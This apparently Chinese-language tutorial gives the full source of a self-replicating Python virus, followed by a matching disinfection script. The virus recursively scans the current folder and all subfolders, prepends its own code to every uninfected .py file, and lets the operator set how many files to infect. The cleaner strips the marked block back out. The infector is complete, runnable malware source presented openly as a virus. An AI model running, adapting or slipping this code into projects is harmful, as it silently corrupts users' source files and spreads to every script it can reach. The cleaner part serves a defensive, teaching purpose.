病毒功能
针对当前文件夹下所有的.py文件以及所有下属文件夹内的所有.py文件进行病毒感染,将病毒代码复制到文件的原代码之前,同时病毒操作者还可以对病毒复制感染的次数进行设置。
病毒代码
## START OF VIRUS ##
import os,sys
viruscode = []
num = 0
def infect(dir):
global viruscode, num, target
list = os.listdir(dir)
for item in list:
path = os.path.join(dir, item)
if os.path.isdir(path):
infect(path)
if os.path.isfile(path):
if os.path.splitext(item)[1] == ".py":
with open(path,'r') as f:
filecode = f.readlines()
infected = False
for line in filecode:
if line == '## START OF VIRUS ##\n':
infected = True
break
if not infected:
code = []
code.extend(viruscode)
code.extend('\n')
code.extend(filecode)
with open(path,'w') as f:
f.writelines(code)
num = num + 1
if num >= target:
return
if __name__ == '__main__':
with open(sys.argv[0],'r') as f:
lines = f.readlines()
virus = False
for line in lines:
if line == '## START OF VIRUS ##\n':
virus = True
if virus:
viruscode.append(line)
if line == '## END OF VIRUS ##' or line == '## END OF VIRUS ##\n':
break
target = int(input("The number of infection: "))
cur_dir = os.getcwd()
infect(cur_dir)
print("INFECTED!")
## END OF VIRUS ##
查杀功能
针对当前文件夹下所有被病毒感染的.py文件以及所有下属文件夹内被病毒感染的.py文件进行解毒,即删除病毒代码,只保留正常代码。
查杀代码
import os
def disinfect(dir):
list=os.listdir(dir)
for item in list:
path=os.path.join(dir,item)
if os.path.isdir(path):
disinfect(path)
if os.path.isfile(path):
if os.path.splitext(item)[1] == '.py':
with open(path,'r') as f:
lines = f.readlines()
infected = False
for line in lines:
if line == '## START OF VIRUS ##\n':
infected = True
break
if infected:
virus = False
for line in lines[:]:
if line == '## START OF VIRUS ##\n':
virus = True
if virus:
lines.remove(line)
if line == '## END OF VIRUS ##' or line == '## END OF VIRUS ##\n':
break
with open(path,'w') as f:
f.writelines(lines)
if __name__ == '__main__':
cur_dir = os.getcwd()
disinfect(cur_dir)
print("UNINFECTED!")